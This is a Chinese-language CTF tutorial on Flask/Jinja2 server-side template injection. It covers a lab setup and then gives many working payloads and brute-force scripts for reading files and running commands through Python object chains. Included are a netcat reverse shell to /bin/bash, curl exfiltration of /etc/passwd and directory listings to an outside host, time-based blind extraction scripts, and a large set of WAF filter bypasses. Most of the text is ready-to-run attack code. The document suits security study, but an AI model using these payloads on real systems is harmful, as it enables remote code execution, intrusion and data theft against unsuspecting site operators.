首页 > 其他分享 >SSTI从0到入门

SSTI从0到入门

时间:2024-09-10 17:03:47浏览次数:11  
标签:__ .__ set 入门 __.__ SSTI class attr

SSTI基础

flask的ssti

模板引擎+注入

模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

常见的模板引擎

PHP: Smarty, Twig, Blade
JAVA: JSP, FreeMarker, Velocity
Python: Jinja2, django, tornado

由于渲染的数据是业务数据,且大多数都由用户提供,这就意味着用户对输入可控.如果后端没有对用户的输入进行检测和判断,那么就容易产生代码和数据混淆,从而产生注入.

变量块 {{}}	用于将表达式打印到模板输出
注释块 {##}	注释
控制块	{%%}	可以声明变量,也可以执行语句eg:{% set a='mixian' %}
行声明	##		可以有和{%%}相同的效果

前置知识

搭建靶场

改一下镜像源

cd etc/docker

vim docker.json

拉取网上的ssti靶场的镜像

docker pull mcc8624/flask_ssti:last

生成容器

docker run -p 18022:22 -p 18080:80 -i -t mcc0624/flask_ssti:last bash -c '/etc/rc.local; /bin/bash'

查看所有容器

docker ps -a

关闭容器

docker stop

开启容器

docker start

地址

http:IP:18080

SSH

用户名:root 密码:P@ssword

——————————————————————————————————————————————

安装venv

apt update

apt install python3.10-venv

创建venv环境安装flask

cd /opt 选择路径

python -m venv flask3 创建名为flask1的venv环境

ls

cd flask3 包含所有python组件

ls

插曲:

直接vim demo.py

写入print("this is test") 在/opt下创建demo.py

再运行 python3 demo.py 直接使用python是系统的组件

这是在物理主机上运行python3

如何在python虚拟环境中执行呢

方法一:绝对路径

/opt/flask3/bin/python3.py demo.py

方法二:进入flask3虚拟环境

cd flask3

source .bin/activate

python3 demo.py

deactivate 可以退出虚拟环境

所以怎么在python虚拟环境中装flask呢?

使用方法二

cd /opt/flask3

source .bin/activate 进入虚拟环境

pip3 install flask

python3
>>>import flask
>>>quit()

flask应用搭建

模板引擎使用Jinja2

python可直接使用flask启动一个web服务页面

cd /opt/flask3
source ./bin/activate
vim demo.py
写入以下代码:
from flask import Flask            #启动flask模块,创建一个Flask类
app = Flask(__name__)              #__name__是系统变量相当于php里的魔术方法,指的是本py文件的文件名demo.py

@app.route('/mixian')					   #路由,基于浏览器输入的路径寻址
def hello():
	return "hello mixian"
@app.route('/mzc')					   
def ho():
	return "hello mzc"

if __name__=='__main__':		  #只能被python直接运行,而不能被作为组件或模块被调用
	app.run(host='0.0.0.0',debug=True,port=666)   #debug=True启动自动报错原因,host='0.0.0.0'使其不仅
                                                   可被127.0.0.1访问,也可被其他主机访问,port可以改端口,不加
													port就默认为5000端口
                                           

flask变量规则

格式化字符串

127.0.0.1:666/hello/动态变量

cd /opt/flask3
source ./bin/activate
vim demo.py
写入以下代码:
from flask import Flask        
app = Flask(__name__)          

@app.route('/mixian/<name>')					   
def hello(name):  				 #传参
	return "hello %s" % name     #'%s'使格式化字符串;'%d'接收整数;'%f'接收浮点数
@app.route('/int/<int:postID>')					   
def id(postID):
	return " %d " % postID

if __name__=='__main__':		 
	app.run(host='0.0.0.0',debug=True,port=666)                                          

变量传参方法

@app.route('login',methods = ['POST' , 'GET'])

def login():

	if request.method == 'POST':

		print(1)

		user=request.form['ben']

		return redirect(url_for('success',name=user))   #重定向

	else:

		print(2)

		user=request.args.get('ben')

		return redirect(url_for('success',name=user))

flask模板

视图函数的作用是生成请求的响应

模板可以使静态html页面显示动态的内容

视图函数​只负责业务逻辑和数据处理,模板​取到视图函数的数据结果来进行展示

这样就把处理业务逻辑​和返回响应内容​分开进行,节省开发成本

两个视图函数:

render_template:渲染文件

加载html文件。默认文件路径在templates目录下

image-20240114183059-fmj0x4l

往模板中传入数据

image-20240114183512-4599ivl

render_template_string:渲染文字

渲染字符串,直接定义内容

image-20240114184106-skoxnog

模板引擎

jinja2、

image-20240816155745-c1fh310

模板注入漏洞成因分析

flask漏洞

代码不严谨导致SSTI

可能造成任意文件读取和RCE

漏洞演示

下面的代码不会产生ssti漏洞

​​image-20240114184903-uxiz97t​​

//有时间自己打一打

此时传参 ?var={{77}} 回显仍是77

下面的代码会产生ssti漏洞

image-20240114185250-3tf3zp8

此时传参?var={{7*7}} 回显是49,说明被当成代码指令执行了

怎么判断模板类型:

image-20240114185711-znp1518

绿线表示当作代码执行,回显49或者回显ab或者回显azb,红线表示未被执行,输入什么回显什么

类的继承关系和魔术方法

父类和子类

所有的数据类型最终的父类都是object

__class__当前类

__base__父类

.**base.base** 父类的父类

__mro__罗列全部父类

subclasses()罗列父类下的 全部子类

继承关系代码演示

class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c = C ()


print(c.__class__)  #当前类C  <class '__main__.C'>
print(c.__class__.__base__)  #当前类C的父类B  <class '__main__.B'>
print(c.__class__.__mro__)   #全部父类 (<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
print(c.__class__.__mro__[1].__subclasses__()) #父类B的全部子类 [<class '__main__.C'>, <class '__main__.D'>] 
print(c.__class__.__mro__[1].__subclasses__()[1]) #调用D类 <class '__main__.D'>

其他魔术方法

**init** 查看类是否重载,只有重载的才能直接用,如出现wrapper字眼,说明未重载

**globals** 函数以字典的形式返回当前对象的全部全局变量

{{".__class__.__base__.__subclasses__()}}

找到所有可用类,复制到Notpad++,把逗号','替换成'/n',然后查找常用注入模块的位置

或者直接搜就行

image-20240222112456-82eut3d

比如os._wrap_close对应118

{{".__class__.__base__.__subclasses__()[117]}}​ //这里不写118,写117,是因为从0开始

{{".__class__.__base__.__subclasses__()[117].__init__}}​ //只要不出现wrapper字样就重载了

{{".__class__.__base__.__subclasses__()[117].__init__.__globals__}}​ //看有哪些函数可以用popen(有回显),system,eval

{{".__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

image-20240114220936-owdqp3h

常用注入模块利用

文件读取:'_frozen_importlib_external.FileLoader'类

使用方法: ["get_data"](0,"/flag")

通过调用get_data函数,传入参数0和文件路径

image-20240115103143-lx2er7z

脚本找编号

import requests
url=input('请输入URL链接:')
for i in range(500):
	data ={"code":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
	try:
		response=requests.post(url,data=data)
		#print(response.text)
		if response.status_code ==200:
			if '_frozen_importlib_external.FileLoader' in response.text:
				print('success!!!!')
				print("查找的子类的编号是:",i,"-->",data)
	except:
		pass

Payload:

code={{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/flag")}}
code={{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0,"/flag")}}
code={{().__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/flag")}}

有时候flag在配置文件内?name={{config}}

内建函数eval命令执行

内建函数:python在执行脚本时自动加载的函数

python脚本查看可利用内建函数eval的模块

#POST提交“name”的值
import requests
url=input('请输入url:')
for i in range(500):
    data={
        "name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}" 
    }
    try:
        response=requests.post(url,data=data)
        #print(response.text)
        if response.status_code==200:
            if 'eval' in response.text:
                print("success!!!")
                print("查找子类所在编号是:",i)
    except:
        pass

Payload:

?name={{().__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}

除了popen也可以使用system

os模块执行命令

通过其他函数直接调用os模块

config,url_for,lipsum

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
#这里的os可以不用中括号,直接点连接,就像下面这样
{{url_for.__globals__.os.popen('whoami').read()}}

{{lipsum.__globals__.os.popen('cat /flag').read()}}


{%print lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()%}

数据外带
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://vps:2333/ -d `ls /|base64`') %}1{% endif %}

通过已加载os模块的子类

脚本找os.py

#POST提交“name”的值
import requests
url=input('请输入url:')
for i in range(500):
    data={
        "name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}" 
    }
    try:
        response=requests.post(url,data=data)
        #print(response.text)
        if response.status_code==200:
            if 'os.py' in response.text:
                print("success!!!")
                print("查找子类所在编号是:",i)
    except:
        pass
?name={{().__class__.__base__.__subclasses__()[426].__init__.__globals__['os'].popen('ls /').read()}}

直接使用os._wrap_close类中的 popen 函数

脚本找一下os._wrap_close模块所在位置

import requests
url="http://192.168.142.128:18080/flasklab/level/5"
for i  in range(500):
    data={
        "code":'{{().__class__.__base__.__subclasses__()['+str(i)+']}}'
    }
    try:
        re=requests.post(url,data=data)
        if re.status_code==200:
            if "os._wrap_close" in re.text:
                print("success!!!")
                print("查找子类所在编号是:",i,"-->",data)
                break

    except:
        pass
code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}

importlib类执行命令

可加载第三方库,使用load_module加载os

import requests
url="http://192.168.142.128:18080/flasklab/level/1"
for i  in range(500):
    data={
        "code":'{{().__class__.__base__.__subclasses__()['+str(i)+']}}'
    }
    try:
        re=requests.post(url,data=data)
        if re.status_code==200:
            if "_frozen_importlib.BuiltinImporter" in re.text:
                print("success!!!")
                print("查找子类所在编号是:",i,"-->",data)
                break
             
    except:
        pass

Payload:

code={{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("cat /flag").read()}}

linecache函数执行命令

用于读取任意文件的任意一行,也引入了os模块

脚本查找linecache位置

import requests
url="http://192.168.142.128:18080/flasklab/level/1"
for i  in range(500):
    data={
        "code":'{{().__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__}}'
    }
    try:
        re=requests.post(url,data=data)
        if re.status_code==200:
            if "linecache" in re.text:
                print("success!!!")
                print("查找子类所在编号是:",i,"-->",data)
                break
           
    except:
        pass

Payload:

code={{().__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen("cat /flag").read()}}
code={{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"]["os"].popen("cat /flag").read()}}

subprocess.Popen类执行命令

python2.4之后使用subprocess模块来产生子进程,意在替代os.popen、os.system

python查找subprocess.Popen

import requests
url="http://192.168.142.128:18080/flasklab/level/1"
for i  in range(500):
    data={
        "code":'{{().__class__.__base__.__subclasses__()['+str(i)+']}}'
    }
    try:
        re=requests.post(url,data=data)
        if re.status_code==200:
            if "subprocess.Popen" in re.text:
                print("success!!!")
                print("查找子类所在编号是:",i,"-->",data)
                break
           
    except:
        pass

Payload:

code={{().__class__.__base__.__subclasses__()[200]('cat /flag',shell=True,stdout=-1).communicate()[0].strip()}}

使用for循环绕过对下角标的要求

for循环 诞生了

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval(&quot;__import__('os').popen('ls /').read()&quot;)}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'][&apos;__imp&apos;+&apos;ort__&apos;]('o'+'s').listdir('/')}}{% endif %}{% endfor %}
 利用python的字符串序列的特性进行绕过

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read()}}{% endif %}{% endfor %}
利用for机制不用下角标 直接执行命令<br />

{%%}绕过双大括号

{{}}​ 提示有waf

{%if 2>1%}benebn{%endif%}

判断语句可以正常执行

image-20240221144749-me7on6j

{%if ''.__class__"%}benebn{%endif%}

有回显benben说明 ''.__class__有内容

{% if "".__class__.__base__.__subclasses__()[' +str(i)+ '].__init__.__globals__"popen".read() %} mixian {% endif %}

有回显benben说明,命令可以被执行

下面是找编号的python脚本,类似于sql的布尔盲注

#POST提交“code”的值,查找popen函数编号
import requests
url=input('请输入url:')
for i in range(500):
    data={
        "code":'{% if "".__class__.__base__.__subclasses__()[' +str(i)+ '].__init__.__globals__["popen"]("ls /").read() %} mixian {% endif %}'
    }
    try:
        response=requests.post(url,data=data)
        #print(response.text)
        if response.status_code==200:
            if 'mixian' in response.text:
                print("success!!!")
                print("查找子类所在编号是:",i,"-->",data)
    except:
        pass

image-20240221150846-0pavjj4

但是怎么回显出内容呢,用print()

{%print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /etc/passwd).read()) %}


{%print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("ls /").read()) %}

{%print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /flag").read()) %}

无回显SSTI注入

shell反弹

脚本:

#连接kali虚拟机的7777端口
import requests
url=input('请输入url:')
for i in range(500):
    data={
        "code":'{{ "".__class__.__base__.__subclasses__()[' +str(i)+ '].__init__.__globals__["popen"]("netcat 192.168.142.128 7777 -e /bin/bash").read()}}'
    }
    try:
        response=requests.post(url,data=data)
        #print(response.text)
    
    except:
        pass

image-20240221154013-dpzj71i

kali监听7777

nc -lvp 7777

image-20240221154251-rgv3c9l

带外注入

此处使用wget方法来带外想要知道的内容,也可以用dnslog或者nc

import requests
url=input('请输入url:')
for i in range(500):
    data={
        "code":'{{ "".__class__.__base__.__subclasses__()[' +str(i)+ '].__init__.__globals__["popen"]("curl  http://192.168.142.128/`cat /etc/passwd`").read()}}'
    }
    try:
        response=requests.post(url,data=data)
        #print(response.text)
    
    except:
        pass

同时kali开启一个python http监听

python3 -m http.server 80

但是这种方法不显示大括号

image-20240221160007-yb8yuut

纯盲注

首先找到内建函数eval

脚本:

import requests
import time
# 转义符 \ 用于解决双引号 "" 闭合问题
PAYLOAD_LAST = ".__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}"
url = input("请输入 URL:")
# POST 参数可以抓包或查看源代码
request_parameter = input("请输入 POST 请求参数:")
for i in range(500):
    # 发送请求并记录开始时间
    start_time = time.time()
    data = {request_parameter: " {{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}} "}
    # post data 也可以改成这样,原因见{{}}过滤的绕过方法
    # {"name":"{%print(().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)'))%}"}
    response = requests.post(url, data=data)
    end_time = time.time()
    # 计算响应时间
    response_time = end_time - start_time
    # 如果响应时间大于 3s ,则绿色字体输出在控制台
    if response_time >= 3:
        print("\033[32m bingo: "+str(i)+"\033[0m",end="\t")
    # 如果响应时间小于 3s ,则红色字体输出在控制台,一般建议注释掉错误输出,因为这会降低爆破速度
    else:
        print("\033[31mnonono: "+str(i)+"\033[0m",end="\t")

然后爆破flag

import requests
import time
url = input("请输入 URL:")
request_parameter = input("请输入 POST 请求参数:")
cs = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
flag = ""
for i in range(1000):
    low = 0
    high = len(cs)
    while low<high:
        index = low + (high - low) // 2
        start_time = time.time()
        # request_parameter 为 post 传入数据的参数名,根据实际情况输入
        data = { request_parameter:"{%set flag=().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag\").read()')%}{%if flag["+str(i)+"]=='"+cs[index]+"'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%elif flag["+str(i)+"]>'"+cs[index]+"'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(4)')}}{%endif%}" }
        response = requests.post(url, data=data)
        end_time = time.time()
        # 计算响应时间
        response_time = end_time - start_time
        if response_time >=2 and response_time<=4:
            flag+=cs[index]
            print(cs[index],end='\t')
            low = high
        elif response_time>4:
            low = index+1
        else:
            high = index
print("\n"+flag)

getitem或.pop绕过中括号过滤

getitem()是python的一个魔术方法

对字典使用时,传入字符串,返回字典相应键所对应的值

当对列表使用时,传入整数返回列表对应索引的值

简而言之返回键值对的键值

code={{"".__class__.__base__.__subclasses__()[117]}}

使用getitem绕过

code={{""._class__.__base__.__subclasses__().__getitem__(117)}}

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/sp

在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过

request或者dict+join绕过单双引号过滤

request在flask中可与访问基于HTTP请求传递的所有信息,此request并非python的函数,而是在flask内部的函数/

request.args.key
获取get传入的key的值
request.values.x1
所有参数
request.cookies
获取cookies传入参数
request.headers
获取请求头请求参数
request.form.key
获取post传入参数
(Content-Type:applicaation/x-www-form-urlencoded multipart/form-data)
request.data获取post传入参数(Content-Type:a/b)
request.json
获取post传入json参数(Content--Type:application/json)

写个脚本找一下os._wrap_close模块所在位置

import requests
url="http://192.168.142.128:18080/flasklab/level/5"
for i  in range(500):
    data={
        "code":'{{().__class__.__base__.__subclasses__()['+str(i)+']}}'
    }
    try:
        re=requests.post(url,data=data)
        if re.status_code==200:
            if "os._wrap_close" in re.text:
                print("success!!!")
                print("查找子类所在编号是:",i,"-->",data)
                break

    except:
        pass

我们正常的语句

code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}

是需要用到引号的​​

会提示waf过滤掉了

通过request.args.key传入参数来绕过引号

code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.popen](request.args.cat).read()}}

​​使用POST

code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.popen](request.form.cat).read()}}&popen=popen&cat=cat /flag

使用cookie注入

code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.cookies.popen](request.cookies.cat).read()}}

注意:cookie里的参数要用分号;隔开

image-20240221231159-ltbg7vz

方法二:使用dict+join

{%set a=dict(popen=a)|join%}
{%set b=dict(whoami=a)|join%}
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[a](b).read()}}

过滤器绕过下划线过滤

一、过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数。

flask常用过滤器

length():获取一个序列或者字典的长度并将其返回;

int():将值转换为int类型,

float():将信转换为float类型,

lower():将字符串转换为小写,

upper():将字符串转换为大写,

reverse():反转字符串;

replace(value,old,new):将value中的old替换为new;

Iist():将变量转换为列表类型;

string():将变量转换成字符串类型;

join():将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用,

attr():获取对象的属性。

二、attr()绕过下划线过滤

1.使用request方法

GET提交:?a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__
POST提交:code={{""|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(117)|attr(request.args.e)|attr(request.args.f)|attr(request.args.d)('popen')('cat /flag')|attr('read')()}}
#用过滤器的话必须全部用管道符连接起来,不能再使用.连接了
比如最后的.read()=>|attr('read')()

2.使用unicode编码代替下划线

code={{()|attr("__class__")|attr("__base__")|attr("__subclasses__")(117)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen")("ls")|attr("raed")()}}

image-20240222123216-z9usqmu

3.十六进制代替下划线__

code={{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('cat /flag').read()}}

4.base64编码

image-20240222123453-wp6fo12

5.格式化字符串

image-20240222130308-nvtho2x

中括号、attr()绕过点过滤

1.用中括号[]代替点
python语法除了可以使用点'.'来访问对象属性外,
还可以使用中括号'[]'。

code={{()["__class__"]["__base__"]["__subclasses__"]()[117]["__init__"]["__globals__"]['popen']('cat /flag')["read"]()}}

2.用attr()绕过
payload语句中不会用到点'.'和中括号'[]'

code={{''|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(117)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen")("cat /flag")|attr("read")()}}

绕过关键字过滤

过滤"clsaa、arg、from、value、ini、global"等关键字

以"class"为例
1、字符编码(前面课程介绍过,就不再提了)
2、最简单拼接"+": 'cl'+'ass'

Payload:

code={{()['__cl'+'ass__']['__bas'+'e__']['__subcla'+'sses__']()['__getitem__'](117)['__ini'+'t__']['__globa'+'ls__']['pop'+'en']('cat /flag')['read']()}}

3、使用Jinjia2中的"~"​进行拼接:

{%set a="__cla"%}{%set b="ss__"%}{{a~b}}

Payload:

code={%set a='__cla'%}{%set b='ss__'%}{%set c='__ba'%}{%set d='se__'%}{%set e='__subcla'%}{%set f='sses__'%}{%set g='__in'%}{%set h='it__'%}{%set i='__globa'%}{%set j='ls__'%}{%set k='pop'%}{%set l='en'%}{{()[a~b][c~d][e~f]()[117][g~h][i~j][k~l]('cat /flag')['read']()}}

4、使用过滤器(reverse反转、replace替换、join拼接等):

{%set a="__ssalc__"|reverse%}{{a}}

dict():用于创建一个字典

join():将一个序列中的参数值拼接成字符串

{%set a=dict(benben=1)%}{{a}}#创建字典a,键名benben,键值1
{%set a=dict(__cl=1,ss__=2)|join%}#join读键名拼接后展示,输出:__class__

Paylaod:

reverse反转:
code={%set a='__ssalc__'|reverse%}{%set b='__esab__'|reverse%}{%set c='__sessalcbus__'|reverse%}{%set d='__tini__'|reverse%}{%set e='__slabolg__'|reverse%}{%set f='nepop'|reverse%}{{()[a][b][c]()[117][d][e][f]('cat /flag')['read']()}}
replace替换:
code={%set a= '__claee__'|replace("ee","ss")%}{%set b= '__babb__'|replace("bb","se")%}{%set c= '__subclaeees__'|replace("ee","ss")%}{%set d= '__inia__'|replace("ia","it")%}{%set e= '__globela__'|replace("ela","als")%}{%set f= 'popan'|replace("pan","pen")%}{{()[a][b][c]()[117][d][e][f]('cat /flag')['read']()}}
join拼接:
code={%set a=dict(__cla=a,ss__=a)|join%}{%set b=dict(__ba=b,se__=b)|join%}{%set c=dict(__subcl=c,asses__=c)|join%}{%set d=dict(__ini=d,t__=d)|join%}{%set e=dict(__globa=e,ls__=e)|join%}{%set f=dict(po=f,pen=f)|join%}{{()[a][b][c]()[117][d][e][f]('cat /flag')['read']()}}
code={%set a=['__cla','ss__']|join%}{%set b=['__ba','se__']|join%}{%set c=['__subcl','asses__']|join%}{%set d=['__ini','t__']|join%}{%set e=['__globa','ls__']|join%}{%set f=['po','pen']|join%}{{()[a][b][c]()[117][d][e][f]('cat /flag')['read']()}}

5、利用python的chr():

查找chr函数的编号脚本:

#POST提交“name”的值
import requests
url=input('请输入url:')
for i in range(500):
    data={
        "name":"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__.__builtins__.chr}}" 
    }
    try:
        response=requests.post(url,data=data)
        #print(response.text)
        if response.status_code==200:
            if 'os.py' in response.text:
                print("success!!!")
                print("查找子类所在编号是:",i)
    except:
        pass

可以使用chr函数url_for.__globals__['__builtins__'].chr​或者a.__init__.__globals__['__builtins__'].chr

{%set chr=url_for.__globals__['__builtins__'].chr
%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(
115)%2bchr(95)%2bchr(95)]}}

%2b是+的url编码,使用%2b拼接起来,自己查ascii码表进行构造

length过滤器或者dict+count绕过数字过滤

通过计算字符串的长度出现整型数字,可以进行加减乘除

{%set a='aaaaaaaaaa'|length*'aaaaaaaaaaaa'|length-'aaa'|length%}

这就相当于10*12-3=117

Payload:

code={%set a='aaaaaaaaaa'|length*'aaaaaaaaaaaa'|length-'aaa'|length%}{{().__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('ls /').read()}}

也可以用count

{{(dict(e=a)|join|count)}}​解析出来就是1

获取config文件

没有过滤的话最简单的话:

{{config}}

flask内置函数与内置对象

flask内置函数:

lipsum 可加载第三方库

url_for 可返回url路径

get_flashed_message 可获取信息

python内置对象:

cycler、joiner、namespace、config、request、session

可利用已加载内置函数或对象寻找被过滤字符串,可利用内置函数调用current_app模块进而查看配置文件

调用current_app相当于调用flask:

{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

内置函数获取空格百分号下划线

获取任意字符

{%set zifu=(config|string|list)%}{{zifu}}

脚本:

import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={{% print (config|string|list).pop({}).lower() %}}"
 
payload="cat /flag"
result=""
for j in payload:
    for i in range(0,1000):
        r=requests.get(url=url.format(i))
        location=r.text.find("<h3>")
        word=r.text[location+4:location+5]
        if word==j.lower():
            print("(config|string|list).pop(%d).lower()  ==  %s"%(i,j))
            result+="(config|string|list).pop(%d).lower()~"%(i)
            break
print(result[:len(result)-1])
 

效果如下:

image-20240228200627-9df46iw

获取斜杠:

{%set xg=(config|string|list).pop(279)%}{{xg}}

获取下划线和空格:

{%set ben=(lipsum|string|list)%}{{ben}}
#空格是9,下划线是18
空格:{%set ben=(lipsum|string|list).pop(9)%}{{ben}}
下划线:{%set ben=(lipsum|string|list).pop(18)%}{{ben}}
下面的同理
{%set ben=({}|select()|string())%}{{ben}}
{%set ben=({}|select|string|list)%}{{ben}}

获取空格:

{%set ben=(self|string()|list).pop(18)%}{{ben}}

获取百分号:

{%set ben=(self|string|urlencode|list).pop(0)%}{{ben}}

接下来使用list()函数,通过控制序号拿到空格,这里空格对应的是第九,从0开始计数

{%set ben=(lipsum|string|list)%}{{ben[9]}}
或者:  {%set ben=(lipsum|string)[9]%}{{ben}}
也可以:{%set ben=(lipsum|string|list)[9]%}{{ben}}
如果中括号被过滤了可以使用pop
{%set ben=(lipsum|string|list).pop(9)%}{{ben}}

image-20240222185836-xybqlws

混合过滤

实例一:WAF过滤',",request,.,[],空格

引号绕过:request.args.var1、dict+join拼接

request被ban了,就用dict+join拼接

点绕过:中括号、attr()函数

中括号绕过:getitem()但是绕不过点

空格绕过:

{%set kg={}|select()|string()|attr(d)(10)%}

综合就是:dict+join拼接+attr()函数

{%set a=dict(__class__=a)|join%}
{%set b=dict(__base__=a)|join%}
{%set c=dict(__subclasses__=a)|join%}
{%set d=dict(__getitem__=a)|join%}
{%set e=dict(__init__=a)|join%}
{%set f=dict(__globals__=a)|join%}
{%set g=dict(popen=a)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)}}

到这里只实现了目标Payload的一部分: {{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']

现在还缺少一段代码: ('cat /flag').read()}}

绕过空格过滤:

{%set kg={}|lipsum|string|list|attr(d)(9)%}

将cat,空格,flag三部分拼接起来

{%set i=(dict(cat=a)|join,kg,dict(flag=a)|join)|join%}

所以最终Payload:

{%set a=dict(__class__=a)|join%}
{%set b=dict(__base__=a)|join%}
{%set c=dict(__subclasses__=a)|join%}
{%set d=dict(__getitem__=a)|join%}
{%set e=dict(__init__=a)|join%}
{%set f=dict(__globals__=a)|join%}
{%set g=dict(popen=a)|join%}
{%set kg={}|select()|string()|attr(d)(10)%}
{%set i=(dict(cat=a)|join,kg,dict(flag=a)|join)|join%}
{%set r=dict(read=a)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(i)|attr(r)()}}

实例二:WAF过滤',",_,0-9,.,\,[],空格​,request

数字的过滤:

{%set nine=dict(aaaaaaaaa=a)|join|length%}{{num}}
{%set nine=dict(aaaaaaaaa=a)|join|count%}{{num}}
{%set eighteen=num+num%}{{num,num2}}

下划线和空格的过滤:

{%set xhx=(lipsum|string|list)%}
这里第9位是空格,第18位是下划线
{%set xhx=(lipsum|string|list)|attr('pop')(18)%}
{%set kg=(lipsum|string|list)|attr('pop')(9)%}

用'pop'代替'__getitem__'来绕过下划线

Paload原型:

{{lipsum.__globals__['os'].popen('cat flag').read()}}
#此命令包含下划线最少
{{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat flag')|attr('read')()}}
#绕过中括号
下一步就是自己构造出数字,下划线,空格,再下一步是使用dict+join绕过引号

Payload:

{%set nine=dict(aaaaaaaaa=a)|join|length%}
{%set eighteen=nine+nine%}
{%set pop=dict(pop=a)|join%}
{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}
{%set kg=(lipsum|string|list)|attr(pop)(nine)%}
{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}
{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}
{%set os=dict(os=a)|join%}
{%set popen=dict(popen=a)|join%}
{%set flag=(dict(cat=a)|join,kg,dict(flag=a)|join)|join%}
{%set read=dict(read=a)|join%}
{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(flag)|attr(read)()}}

python debug pin码计算

对于有文件包含或文件读取的漏洞,且开启debug功能
想要执行指令还需要输入pin码
输入pin码后可以输入命令执行
可尝试本地构造pin码进入控制台

pin码主要由六个参数构成
1、username->执行代码时候的用户名
2、getattr(app,"name",app.class.name)-->固定值默认Flask
3、modname->固定值默认flask.app
4、getattr(mod,"file",None) -->app.py文件所在路径
